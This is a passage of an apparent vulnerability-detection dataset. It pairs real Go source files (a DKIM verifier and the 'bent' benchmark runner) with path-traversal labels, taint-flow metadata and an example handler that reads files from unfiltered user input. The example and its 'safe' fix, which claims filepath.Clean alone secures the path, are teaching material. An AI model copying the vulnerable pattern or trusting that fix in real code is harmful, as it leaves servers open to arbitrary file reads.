domainKey\n\t}\n\tvar files []string\n\tif args := flag.Args(); len(args) > 0 {\n\t\tfiles = args\n\t}\n\tvar numFailures int\n\tif len(files) > 0 {\n\t\tfor _, f := range files {\n\t\t\tfd, err := os.Open(f)\n\t\t\tif err != nil {\n\t\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t\t}\n\t\t\tfile, err := dkim.FileBuffer(dkim.NormalizeReader(fd))\n\t\t\tif err != nil {\n\t\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t\t}\n\n\t\t\tif err := dkim.VerifyWithPublicKey(file, key); err != nil || hd != \"\" {\n\t\t\t\tprintResult(hd, headerPrefix, headerSuffix, f, err)\n\t\t\t\tnumFailures++\n\t\t\t}\n\t\t\tfile.Close()\n\t\t\tfd.Close()\n\t\t\tif err := os.Remove(file.Name()); err != nil {\n\t\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t\t}\n\n\t\t}\n\t} else {\n\t\tfile, err := dkim.FileBuffer(dkim.NormalizeReader(os.Stdin))\n\t\tif err != nil {\n\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t}\n\t\tif err := dkim.VerifyWithPublicKey(file, key); err != nil || hd != \"\" {\n\t\t\tprintResult(hd, headerPrefix, headerSuffix, \"\", err)\n\t\t\tnumFailures++\n\t\t}\n\t\tif err := os.Remove(file.Name()); err != nil {\n\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t}\n\n\t}\n\tos.Exit(numFailures)\n}\n\n// Helper to print the results for either stdin or per file.\nfunc printResult(hd, headerPrefix string, headerSuffix string, filename string, err error) {\n\tif hd != \"\" {\n\t\tif err == nil {\n\t\t\tfmt.Printf(\"%v: %vPass%v\\n\", hd, headerPrefix, headerSuffix)\n\t\t} else if errorString := err.Error(); errorString == \"Permanent failure: no DKIM signature\" || strings.Index(errorString, \"Temporary failure\") >= 0 {\n\t\t\t// Nothing\n\t\t} else {\n\t\t\tfmt.Printf(\"%v: %vFail%v\\n\", hd, headerPrefix, headerSuffix)\n\t\t}\n\t} else {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"%v: %v\\n\", filename, err)\n\t}\n\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 15, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 15, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 23, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "767f4479b3a72e300795ac06e37117228294e0cd85669272f82b2fda076013f9", "license": {"spdx": ["BSD-3-Clause"], "repo": "zhouguangyuan0718/benchmarks", "path": "cmd/bent/bent.go", "repo_head_hexsha": "5a23ea6df200595f04c233a6bd24891887d93077", "stack_hexsha": "942b649c9aebaa7b969abbce8e09ec830d7f7eee", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 220, "entireCode": "// Copyright 2021 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n//go:build go1.16\n// +build go1.16\n\npackage main\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"embed\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"math/rand\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/BurntSushi/toml\"\n)\n\ntype BenchStat struct {\n\tName string\n\tRealTime, UserTime, SysTime int64 // nanoseconds, -1 if missing.\n}\n\ntype Benchmark struct {\n\tName string // Short name for benchmark/test\n\tContact string // Contact not used, but may be present in description\n\tRepo string // Repo + subdir where test resides, used for \"go get -t -d ...\"\n\tTests string // Tests to run (regex for -test.run= )\n\tBenchmarks string // Benchmarks to run (regex for -test.bench= )\n\tGcEnv []string // Environment variables supplied to 'go test -c' for building, getting\n\tBuildFlags []string // Flags for building test (e.g., -tags purego)\n\tRunWrapper []string // (Inner) Command and args to precede whatever the operation is; may fail in the sandbox.\n\t// e.g. benchmark may run as ConfigWrapper ConfigArg BenchWrapper BenchArg ActualBenchmark\n\tNotSandboxed bool // True if this benchmark cannot or should not be run in a container.\n\tDisabled bool // True if this benchmark is temporarily disabled.\n}\n\ntype Todo struct {\n\tBenchmarks []Benchmark\n\tConfigurations []Configuration\n}\n\n// The length of the path to the root of the git repo, inclusive.\n// For example, github.com/dr2chase/bent <--- bent is the repo.\nvar pathLengths = map[string]int{\n\t\"github.com\": 3,\n\t\"gitlab.com\": 3,\n\t\"zombiezen.com\": 3,\n\t\"gonum.org\": 3,\n\t\"k8s.io\": 2,\n\t\"go.uber.org\": 2,\n}\n\nvar verbose counterFlag\n\nvar benchFile = \"benchmarks-50.toml\" // default list of benchmarks\nvar confFile = \"configurations.toml\" // default list of configurations\nvar srcPath = \"src/github.com/dr2chase/bent\" // Used to find configuration files.\nvar container = \"\"\nvar N = 1\nvar list = false\nvar initialize = false\nvar test = false\nvar force = false\nvar noSandbox = false\nvar requireSandbox = false\nvar getOnly = false\nvar runContainer = \"\" // if nonempty, skip builds and use existing named container (or binaries if -U )\nvar wikiTable = false // emit the tests in a form usable in a wiki table\nvar explicitAll counterFlag // Include \"-a\" on \"go test -c\" test build ; repeating flag causes multiple rebuilds, useful for build benchmarking.\nvar shuffle = 2 // Dimensionality of (build) shuffling; 0 = none, 1 = per-benchmark, configuration ordering, 2 = bench, config pairs, 3 = across repetitions.\n\n//go:embed scripts/*\nvar scripts embed.FS\n\n//go:embed configs/*\nvar configs embed.FS\n\nvar copyExes = []string{\n\t\"foo\", \"memprofile\", \"cpuprofile\", \"tmpclr\", \"benchtime\", \"benchsize\", \"benchdwarf\", \"cronjob.sh\", \"cmpjob.sh\", \"cmpcl.sh\", \"cmpcl-phase.sh\", \"tweet-results\",\n}\n\nvar copyConfigs = []string{\n\t\"benchmarks-all.toml\", \"benchmarks-50.toml\", \"benchmarks-gc.toml\", \"benchmarks-gcplus.toml\", \"benchmarks-trial.toml\",\n\t\"configurations-sample.toml\", \"configurations-gollvm.toml\", \"configurations-cronjob.toml\", \"configurations-cmpjob.toml\",\n}\n\nvar defaultEnv []string\n\ntype pair struct {\n\tb, c int\n}\ntype triple struct {\n\tb, c, k int\n}\n\n// To disambiguate repeated test runs in the same directory.\nvar runstamp = strings.Replace(strings.Replace(time.Now().Format(\"2006-01-02T15:04:05\"), \"-\", \"\", -1), \":\", \"\", -1)\n\nfunc cleanup(gopath string) {\n\tpkg, bin := path.Join(gopath, \"pkg\"), path.Join(gopath, \"bin\")\n\tif verbose > 0 {\n\t\tfmt.Printf(\"chmod -R u+w %s\\n\", pkg)\n\t}\n\t// Necessary to make directories writeable with new module stuff.\n\tfilepath.Walk(pkg, func(path string, info os.FileInfo, err error) error {\n\t\tif path != \"\" && info != nil {\n\t\t\tif mode := info.Mode(); 0 == mode&os.ModeSymlink {\n\t\t\t\terr := os.Chmod(path, 0200|mode)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif verbose > 0 {\n\t\tfmt.Printf(\"rm -rf %s %s\\n\", pkg, bin)\n\t}\n\tos.RemoveAll(pkg)\n\tos.RemoveAll(bin)\n}\n\nfunc main() {\n\n\tvar benchmarksString, configurationsString, stampLog string\n\n\tflag.IntVar(&N, \"N\", N, \"benchmark/test repeat count\")\n\n\tflag.Var(&explicitAll, \"a\", \"add '-a' flag to 'go test -c' to demand full recompile. Repeat or assign a value for repeat builds for benchmarking\")\n\tflag.IntVar(&shuffle, \"s\", shuffle, \"dimensionality of (build) shuffling (0-3), 0 = none, 1 = per-benchmark, configuration ordering, 2 = bench, config pairs, 3 = across repetitions.\")\n\n\tflag.StringVar(&benchmarksString, \"b\", \"\", \"comma-separated list of test/benchmark names (default is all)\")\n\tflag.StringVar(&benchFile, \"B\", benchFile, \"name of file describing benchmarks\")\n\n\tflag.StringVar(&configurationsString, \"c\", \"\", \"comma-separated list of test/benchmark configurations (default is all)\")\n\tflag.StringVar(&confFile, \"C\", confFile, \"name of file describing configurations\")\n\n\tflag.BoolVar(&noSandbox, \"U\", noSandbox, \"run all commands unsandboxed\")\n\tflag.BoolVar(&requireSandbox, \"S\", requireSandbox, \"exclude unsandboxable tests/benchmarks\")\n\n\tflag.BoolVar(&getOnly, \"g\", getOnly, \"get tests/benchmarks and dependencies, do not build or run\")\n\tflag.StringVar(&runContainer, \"r\", runContainer, \"skip get and build, go directly to run, using specified container (any non-empty string will do for unsandboxed execution)\")\n\n\tflag.StringVar(&stampLog, \"L\", stampLog, \"name of log file to which runstamps are appended\")\n\n\tflag.BoolVar(&list, \"l\", list, \"list available benchmarks and configurations, then exit\")\n\tflag.BoolVar(&force, \"f\", force, \"force run past some of the consistency checks (gopath/{pkg,bin} in particular)\")\n\tflag.BoolVar(&initialize, \"I\", initialize, \"initialize a directory for running tests ((re)creates Dockerfile, (re)copies in benchmark and configuration files)\")\n\tflag.BoolVar(&test, \"T\", test, \"run tests instead of benchmarks\")\n\n\tflag.BoolVar(&wikiTable, \"W\", wikiTable, \"print benchmark info for a wiki table\")\n\n\tflag.Var(&verbose, \"v\", \"print commands and other information (more -v = print more details)\")\n\n\tflag.Usage = func() {\n\t\tfmt.Fprintf(os.Stderr, \"Usage of %s:\\n\", os.Args[0])\n\t\tflag.PrintDefaults()\n\t\tfmt.Fprintf(os.Stderr,\n\t\t\t`\n%s obtains the benchmarks/tests listed in %s and compiles\nand runs them according to the flags and environment\nvariables supplied in %s. Specifying \"-a\" will pass \"-a\" to\ntest compilations, but normally this should not be needed\nand only slows down builds; -a with a number that is not 1\ncan be used for benchmarking builds of the tests themselves.\n(Don't forget to specify \"all=...\" for GCFLAGS if you want\nthose applied to the entire build.)\n\nBoth of these files can be changed with the -B and -C flags; the full\nsuite of benchmarks in benchmarks-all.toml is somewhat time-consuming.\n\nRunning with the -l flag will list all the available tests and benchmarks\nfor the given benchmark and configuration files.\n\nBy default the compiled tests are run in a docker container to reduce\nthe chances for accidents and mischief. -U requests running tests\nunsandboxed, and -S limits the tests run to those that can be sandboxed\n(some cannot be because of cross-compilation issues; this may imply no\nchange on platforms where the Docker container is not cross-compiled)\n\nBy default benchmarks are run, not tests. -T runs tests instead\n\nThis command expects to be run in a directory that does not contain\nsubdirectories \"gopath/pkg\" and \"gopath/bin\", because those subdirectories\nmay be created (and deleted) in the process of compiling the benchmarks.\nThe same is true of subdirectory \"goroots\".\nIt will also extensively modify subdirectory \"gopath/src\".\n\nAll the test binaries will appear in the subdirectory 'testbin',\nand test (benchmark) output will appear in the subdirectory 'bench'\nwith the suffix '.stdout'. The test output is grouped by configuration\nto allow easy benchmark comparisons with benchstat. Other benchmarking\nresults will also appear in 'bench'.\n`, os.Args[0], benchFile, confFile)\n\t}\n\n\tflag.Parse()\n\n\t// Make sure our filesystem is in good shape.\n\tif err := checkAndSetUpFileSystem(initialize); err != nil {\n\t\tfmt.Printf(\"%v\", err)\n\t\tos.Exit(1)\n\t}\n\n\ttodo := &Todo{}\n\tblobB, err := ioutil.ReadFile(benchFile)\n\tif err != nil {\n\t\tfmt.Printf(\"There was an error opening or reading file %s: %v\\n\", benchFile, err)\n\t\tos.Exit(1)\n\t}\n\tblobC, err := ioutil.ReadFile(confFile)\n\tif err != nil {\n\t\tfmt.Printf(\"There was an error opening or reading file %s: %v\\n\", confFile, err)\n\t\tos.Exit(1)\n\t}\n\tblob := append(blobB, blobC...)\n\terr = toml.Unmarshal(blob, todo)\n\tif err != nil {\n\t\tfmt.Printf(\"There was an error unmarshalling %s: %v\\n\", string(blob), err)\n\t\tos.Exit(1)\n\t}\n\n\t// Create any directories we need.\n\tdirs, err := createDirectories(0775)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n\tfor i := range todo.Configurations {\n\t\ttodo.Configurations[i].dirs = dirs\n\t}\n\n\tvar moreArgs []string\n\tif flag.NArg() > 0 {\n\t\tfor i, arg := range flag.Args() {\n\t\t\tif i == 0 && (arg == \"-\" || arg == \"--\") {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmoreArgs = append(moreArgs, arg)\n\t\t}\n\t}\n\n\tbenchmarks := csToSet(benchmarksString)\n\tconfigurations := csToSet(configurationsString)\n\n\tif wikiTable {\n\t\tfor _, bench := range todo.Benchmarks {\n\t\t\ts := bench.Benchmarks\n\t\t\ts = strings.Replace(s, \"|\", \"\\\\|\", -1)\n\t\t\tfmt.Printf(\" | %s | | `%s` | `%s` | |\\n\", bench.Name, bench.Repo, s)\n\t\t}\n\t\treturn\n\t}\n\n\t// Normalize configuration goroot names by ensuring they end in '/'\n\t// Process command-line-specified configurations.\n\t// Expand environment variables mentioned there.\n\tduplicates := make(map[string]bool)\n\tfor i, trial := range todo.Configurations {\n\t\ttrial.Name = os.ExpandEnv(trial.Name)\n\t\ttodo.Configurations[i].Name = trial.Name\n\t\tif duplicates[trial.Name] {\n\t\t\tif trial.Name == todo.Configurations[i].Name {\n\t\t\t\tfmt.Printf(\"Saw duplicate configuration %s at index %d\\n\", trial.Name, i)\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"Saw duplicate configuration %s (originally %s) at index %d\\n\", trial.Name, todo.Configurations[i].Name, i)\n\t\t\t}\n\t\t\tos.Exit(1)\n\t\t}\n\t\tduplicates[trial.Name] = true\n\t\tif configurations != nil {\n\t\t\t_, present := configurations[trial.Name]\n\t\t\ttodo.Configurations[i].Disabled = !present\n\t\t\tif present {\n\t\t\t\tconfigurations[trial.Name] = false\n\t\t\t}\n\t\t}\n\t\tif root := trial.Root; len(root) != 0 {\n\t\t\t// TODO(jfaller): I don't think we need this \"/\" anymore... investigate.\n\t\t\ttodo.Configurations[i].Root = os.ExpandEnv(root) + \"/\"\n\t\t}\n\t\tfor j, s := range trial.GcEnv {\n\t\t\ttrial.GcEnv[j] = os.ExpandEnv(s)\n\t\t}\n\t\tfor j, s := range trial.RunEnv {\n\t\t\ttrial.RunEnv[j] = os.ExpandEnv(s)\n\t\t}\n\t\ttodo.Configurations[i].GcFlags = os.ExpandEnv(trial.GcFlags)\n\t\tfor j, s := range trial.RunFlags {\n\t\t\ttrial.RunFlags[j] = os.ExpandEnv(s)\n\t\t}\n\t\tfor j, s := range trial.RunWrapper {\n\t\t\ttrial.RunWrapper[j] = os.ExpandEnv(s)\n\t\t}\n\t}\n\tfor b, v := range configurations {\n\t\tif v {\n\t\t\tfmt.Printf(\"Configuration %s listed after -c does not appear in %s\\n\", b, confFile)\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\t// Normalize benchmark names by removing any trailing '/'.\n\t// Normalize Test and Benchmark specs by replacing missing value with something that won't match anything.\n\t// Process command-line-specified benchmarks\n\tduplicates = make(map[string]bool)\n\tfor i, bench := range todo.Benchmarks {\n\n\t\tif duplicates[bench.Name] {\n\t\t\tfmt.Printf(\"Saw duplicate benchmark %s at index %d\\n\", bench.Name, i)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tduplicates[bench.Name] = true\n\n\t\tif benchmarks != nil {\n\t\t\t_, present := benchmarks[bench.Name]\n\t\t\ttodo.Benchmarks[i].Disabled = !present\n\t\t\tif present {\n\t\t\t\tbenchmarks[bench.Name] = false\n\t\t\t}\n\t\t}\n\t\tfor j, s := range bench.GcEnv {\n\t\t\tbench.GcEnv[j] = os.ExpandEnv(s)\n\t\t}\n\t\t// Trim possible trailing slash, do not want\n\t\tif '/' == bench.Repo[len(bench.Repo)-1] {\n\t\t\tbench.Repo = bench.Repo[:len(bench.Repo)-1]\n\t\t\ttodo.Benchmarks[i].Repo = bench.Repo\n\t\t}\n\t\tif \"\" == bench.Tests || !test {\n\t\t\tif !test {\n\t\t\t\ttodo.Benchmarks[i].Tests = \"none\"\n\t\t\t} else {\n\t\t\t\ttodo.Benchmarks[i].Tests = \"Test\"\n\t\t\t}\n\t\t}\n\t\tif \"\" == bench.Benchmarks || test {\n\t\t\tif !test {\n\t\t\t\ttodo.Benchmarks[i].Benchmarks = \"Benchmark\"\n\t\t\t} else {\n\t\t\t\ttodo.Benchmarks[i].Benchmarks = \"none\"\n\t\t\t}\n\t\t}\n\t\tif noSandbox {\n\t\t\ttodo.Benchmarks[i].NotSandboxed = true\n\t\t}\n\t\tif requireSandbox && todo.Benchmarks[i].NotSandboxed {\n\t\t\tif runtime.GOOS == \"linux\" {\n\t\t\t\tfmt.Printf(\"Removing sandbox for %s\\n\", bench.Name)\n\t\t\t\ttodo.Benchmarks[i].NotSandboxed = false\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"Disabling %s because it requires sandbox\\n\", bench.Name)\n\t\t\t\ttodo.Benchmarks[i].Disabled = true\n\t\t\t}\n\t\t}\n\t}\n\tfor b, v := range benchmarks {\n\t\tif v {\n\t\t\tfmt.Printf(\"Benchmark %s listed after -b does not appear in %s\\n\", b, benchFile)\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\t// If more verbose, print the normalized configuration.\n\tif verbose > 1 {\n\t\tbuf := new(bytes.Buffer)\n\t\tif err := toml.NewEncoder(buf).Encode(todo); err != nil {\n\t\t\tfmt.Printf(\"There was an error encoding %v: %v\\n\", todo, err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tfmt.Println(buf.String())\n\t}\n\n\tif list {\n\t\tfmt.Println(\"Benchmarks:\")\n\t\tfor _, x := range todo.Benchmarks {\n\t\t\ts := x.Name + \" (repo=\" + x.Repo + \")\"\n\t\t\tif x.Disabled {\n\t\t\t\ts += \" (disabled)\"\n\t\t\t}\n\t\t\tfmt.Printf(\" %s\\n\", s)\n\t\t}\n\t\tfmt.Println(\"Configurations:\")\n\t\tfor _, x := range todo.Configurations {\n\t\t\ts := x.Name\n\t\t\tif x.Root != \"\" {\n\t\t\t\ts += \" (goroot=\" + x.Root + \")\"\n\t\t\t}\n\t\t\tif x.Disabled {\n\t\t\t\ts += \" (disabled)\"\n\t\t\t}\n\t\t\tfmt.Printf(\" %s\\n\", s)\n\t\t}\n\t\treturn\n\t}\n\n\tif stampLog != \"\" {\n\t\tf, err := os.OpenFile(stampLog, os.O_WRONLY|os.O_APPEND|os.O_CREATE, os.ModePerm)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"There was an error opening %s for output, error %v\\n\", stampLog, err)\n\t\t\tos.Exit(2)\n\t\t}\n\t\tfmt.Fprintf(f, \"%s\\t%v\\n\", runstamp, os.Args)\n\t\tf.Close()\n\t}\n\n\tdefaultEnv = inheritEnv(defaultEnv, \"PATH\")\n\tdefaultEnv = inheritEnv(defaultEnv, \"USER\")\n\tdefaultEnv = inheritEnv(defaultEnv, \"HOME\")\n\tdefaultEnv = inheritEnv(defaultEnv, \"SHELL\")\n\tfor _, e := range os.Environ() {\n\t\tif strings.HasPrefix(e, \"GO\") {\n\t\t\tdefaultEnv = append(defaultEnv, e)\n\t\t}\n\t}\n\tdefaultEnv = replaceEnv(defaultEnv, \"GOPATH\", dirs.gopath)\n\tdefaultEnv = replaceEnv(defaultEnv, \"GOOS\", runtime.GOOS)\n\tdefaultEnv = replaceEnv(defaultEnv, \"GOARCH\", runtime.GOARCH)\n\tdefaultEnv = ifMissingAddEnv(defaultEnv, \"GO111MODULE\", \"auto\")\n\n\tvar needSandbox bool // true if any benchmark needs a sandbox\n\tvar needNotSandbox bool // true if any benchmark needs to be not sandboxed\n\n\tvar getAndBuildFailures []string\n\n\t// Ignore the error -- TODO note the difference between exists already and other errors.\n\n\tfor i, config := range todo.Configurations {\n\t\tif !config.Disabled { // Don't overwrite if something was disabled.\n\t\t\ts := config.thingBenchName(\"stdout\")\n\t\t\tf, err := os.OpenFile(s, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, os.ModePerm)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"There was an error opening %s for output, error %v\\n\", s, err)\n\t\t\t\tos.Exit(2)\n\t\t\t}\n\t\t\ttodo.Configurations[i].benchWriter = f\n\t\t}\n\t}\n\n\t// It is possible to request repeated builds for compiler/linker benchmarking.\n\t// Normal (non-negative build count) varies configuration most frequently,\n\t// then benchmark, then repeats the process N times (innerBuildCount = 1).\n\t// If build count is negative, the configuration varies least frequently,\n\t// and each benchmark is built buildCount (innerBuildCount) times before\n\t// moving on to the next. (This tends to focus intermittent benchmarking\n\t// noise on single configuration-benchmark combos. This is the \"old way\".\n\tbuildCount := int(explicitAll)\n\tif buildCount < 0 {\n\t\tbuildCount = -buildCount\n\t}\n\tif buildCount == 0 {\n\t\tbuildCount = 1\n\t}\n\n\tif runContainer == \"\" { // If not reusing binaries/container...\n\t\tif verbose == 0 {\n\t\t\tfmt.Print(\"Go getting\")\n\t\t}\n\n\t\t// Obtain (go get -d -t -v bench.Repo) all benchmarks, once, populating src\n\t\tfor i, bench := range todo.Benchmarks {\n\t\t\tif bench.Disabled {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tgetBuildEnv := replaceEnvs(defaultEnv, bench.GcEnv)\n\n\t\t\tcmd := exec.Command(\"go\", \"get\", \"-d\", \"-t\", \"-v\", bench.Repo)\n\t\t\tcmd.Env = getBuildEnv\n\n\t\t\tif !bench.NotSandboxed { // Do this so that OS-dependent dependencies are done correctly.\n\t\t\t\tcmd.Env = replaceEnv(cmd.Env, \"GOOS\", \"linux\")\n\t\t\t}\n\t\t\tif verbose > 0 {\n\t\t\t\tfmt.Println(asCommandLine(dirs.wd, cmd))\n\t\t\t} else {\n\t\t\t\tfmt.Print(\".\")\n\t\t\t}\n\t\t\t_, err := cmd.Output()\n\t\t\tif err != nil {\n\t\t\t\tee := err.(*exec.ExitError)\n\t\t\t\ts := fmt.Sprintf(\"There was an error running 'go get', stderr = %s\", ee.Stderr)\n\t\t\t\tfmt.Println(s + \"DISABLING benchmark \" + bench.Name)\n\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s+\"(\"+bench.Name+\")\\n\")\n\t\t\t\ttodo.Benchmarks[i].Disabled = true\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Ensure testdir exists -- if modules are enabled, it does not.\n\t\t\t// This involves invoking git to make it appear.\n\t\t\ttestdir := path.Join(dirs.gopath, \"src\", bench.Repo)\n\t\t\t_, terr := os.Stat(testdir)\n\t\t\tif terr != nil { // Assume missing directory is the cause of the error.\n\t\t\t\tparts := strings.Split(bench.Repo, \"/\")\n\t\t\t\troot := parts[0]\n\t\t\t\trepoAt := pathLengths[root] - 1\n\t\t\t\tif repoAt < 1 || repoAt >= len(parts) {\n\t\t\t\t\ts := fmt.Sprintf(\"repoAt=%d was not a valid index for %v\", repoAt, parts)\n\t\t\t\t\tfmt.Println(s + \"DISABLING benchmark \" + bench.Name)\n\t\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s+\"(\"+bench.Name+\")\\n\")\n\t\t\t\t\ttodo.Benchmarks[i].Disabled = true\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tdirToMake := path.Join(dirs.gopath, \"src\", path.Join(parts[:repoAt]...))\n\t\t\t\trepoToGet := path.Join(parts[:repoAt+1]...)\n\t\t\t\tif verbose > 0 {\n\t\t\t\t\tfmt.Printf(\"mkdir -p %s\\n\", dirToMake)\n\t\t\t\t}\n\t\t\t\terr := os.MkdirAll(dirToMake, 0777)\n\t\t\t\tif err != nil {\n\t\t\t\t\ts := fmt.Sprintf(\"could not os.MkdirAll(%s), err = %v\", dirToMake, err)\n\t\t\t\t\tfmt.Println(s + \"DISABLING benchmark \" + bench.Name)\n\t\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s+\"(\"+bench.Name+\")\\n\")\n\t\t\t\t\ttodo.Benchmarks[i].Disabled = true\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tcmd = exec.Command(\"git\", \"clone\", \"https://\"+repoToGet)\n\t\t\t\tcmd.Env = defaultEnv\n\t\t\t\tcmd.Dir = dirToMake\n\t\t\t\tif verbose > 0 {\n\t\t\t\t\tfmt.Println(asCommandLine(dirs.wd, cmd))\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Print(\".\")\n\t\t\t\t}\n\t\t\t\t_, err = cmd.Output()\n\t\t\t\tif err != nil {\n\t\t\t\t\tee := err.(*exec.ExitError)\n\t\t\t\t\ts := fmt.Sprintf(\"There was an error running 'git clone', stderr = %s\", ee.Stderr)\n\t\t\t\t\tfmt.Println(s + \"DISABLING benchmark \" + bench.Name)\n\t\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s+\"(\"+bench.Name+\")\\n\")\n\t\t\t\t\ttodo.Benchmarks[i].Disabled = true\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tneedSandbox = !bench.NotSandboxed || needSandbox\n\t\t\tneedNotSandbox = bench.NotSandboxed || needNotSandbox\n\t\t}\n\t\tif verbose == 0 {\n\t\t\tfmt.Println()\n\t\t}\n\n\t\tif getOnly {\n\t\t\treturn\n\t\t}\n\n\t\t// Create build-related benchmark files\n\t\tfor ci := range todo.Configurations {\n\t\t\ttodo.Configurations[ci].createFilesForLater()\n\t\t}\n\n\t\t// Compile tests and move to ./testbin/Bench_Config.\n\t\t// If any test needs sandboxing, then one docker container will be created\n\t\t// (that contains all the tests).\n\n\t\tif verbose == 0 {\n\t\t\tfmt.Print(\"Building goroots\")\n\t\t}\n\n\t\t// First for each configuration, get the compiler and library and install it in its own GOROOT.\n\t\tfor ci, config := range todo.Configurations {\n\t\t\tif config.Disabled {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\troot := config.Root\n\n\t\t\trootCopy := path.Join(dirs.goroots, config.Name)\n\t\t\tif verbose > 0 {\n\t\t\t\tfmt.Printf(\"rm -rf %s\\n\", rootCopy)\n\t\t\t}\n\t\t\tos.RemoveAll(rootCopy)\n\t\t\tconfig.rootCopy = rootCopy\n\t\t\ttodo.Configurations[ci] = config\n\n\t\t\tdocopy := func(from, to string) {\n\t\t\t\tmkdir := exec.Command(\"mkdir\", \"-p\", to)\n\t\t\t\ts, _ := config.runBinary(\"\", mkdir, false)\n\t\t\t\tif s != \"\" {\n\t\t\t\t\tfmt.Println(\"Error creating directory, \", to)\n\t\t\t\t\tconfig.Disabled = true\n\t\t\t\t}\n\n\t\t\t\tcp := exec.Command(\"rsync\", \"-a\", from+\"/\", to)\n\t\t\t\ts, _ = config.runBinary(\"\", cp, false)\n\t\t\t\tif s != \"\" {\n\t\t\t\t\tfmt.Println(\"Error copying directory tree, \", from, to)\n\t\t\t\t\t// Not disabling because gollvm uses a different directory structure\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdocopy(path.Join(root, \"bin\"), path.Join(rootCopy, \"bin\"))\n\t\t\tdocopy(path.Join(root, \"src\"), path.Join(rootCopy, \"src\"))\n\t\t\tdocopy(path.Join(root, \"pkg\"), path.Join(rootCopy, \"pkg\"))\n\n\t\t\tgocmd := config.goCommandCopy()\n\n\t\t\tbuildLibrary := func(withAltOS bool) {\n\t\t\t\tif withAltOS && runtime.GOOS == \"linux\" {\n\t\t\t\t\treturn // The alternate OS is linux\n\t\t\t\t}\n\t\t\t\tcmd := exec.Command(gocmd, \"install\", \"-a\")\n\t\t\t\tcmd.Args = append(cmd.Args, config.BuildFlags...)\n\t\t\t\tif config.GcFlags != \"\" {\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-gcflags=\"+config.GcFlags)\n\t\t\t\t}\n\t\t\t\tcmd.Args = append(cmd.Args, \"std\")\n\t\t\t\tcmd.Env = defaultEnv\n\t\t\t\tif withAltOS {\n\t\t\t\t\tcmd.Env = replaceEnv(cmd.Env, \"GOOS\", \"linux\")\n\t\t\t\t}\n\t\t\t\tif rootCopy != \"\" {\n\t\t\t\t\tcmd.Env = replaceEnv(cmd.Env, \"GOROOT\", rootCopy)\n\t\t\t\t}\n\t\t\t\tcmd.Env = replaceEnvs(cmd.Env, config.GcEnv)\n\n\t\t\t\ts, _ := config.runBinary(\"\", cmd, true)\n\t\t\t\tif s != \"\" {\n\t\t\t\t\tfmt.Println(\"Error running go install std, \", s)\n\t\t\t\t\tconfig.Disabled = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Prebuild the library for this configuration unless -a=1\n\t\t\tif explicitAll != 1 {\n\t\t\t\tif needSandbox {\n\t\t\t\t\tbuildLibrary(true)\n\t\t\t\t}\n\t\t\t\tif needNotSandbox {\n\t\t\t\t\tbuildLibrary(false)\n\t\t\t\t}\n\t\t\t}\n\t\t\ttodo.Configurations[ci] = 